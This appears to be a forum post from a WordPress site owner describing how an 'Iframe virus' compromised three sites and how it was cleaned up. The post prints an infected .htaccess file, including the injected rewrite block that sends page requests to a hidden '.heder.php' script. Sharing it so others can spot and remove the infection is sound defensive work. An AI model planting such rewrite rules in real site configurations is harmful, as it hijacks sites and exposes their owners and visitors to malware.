ermany

My all 3 websites messed up becouse of stupid Iframe virus. After I re-upload wp files, I saw my admin panel was still not looking normal. In fact It just looked like jmillgraphics’s admin panel.I tried to enter to admin panel with another browser. It worked but I coundn’t see or edit page, or files. I was getting “no pages found” or “no posts found” message.

Later I found out that Iframe injected .htaccess file and create new ones to use a file called “.heder.php”. If I delete it my website was failing with “500 Internal Server Error”. So I found all the .htaccess files on the server deleted the injected code (from #mmmmd to </IfModule>) everything worked fine.

Here is the infected .htaccess file code;

# BEGIN WordPress
<IfModule mod_rewrite.c>
RewriteEngine On
RewriteBase /
RewriteCond %{REQUEST_FILENAME} !-f
RewriteCond %{REQUEST_FILENAME} !-d
RewriteRule . /index.php [L]
</IfModule>

# END WordPress

#mmmmd
<IfModule mod_rewrite.c>
RewriteEngine On
RewriteCond %{REQUEST_METHOD} GET
RewriteCond %{REQUEST_FILENAME} -f
RewriteCond %{REQUEST_FILENAME} !.heder.php
RewriteRule (.*)\.(php|html|htm|php3|phtml|shtml)	\.heder.php?%{QUERY_STRING}&qq=$1.$2 [NC,L]
</IfModule>

Hope it helps and nobody suffers from Iframe…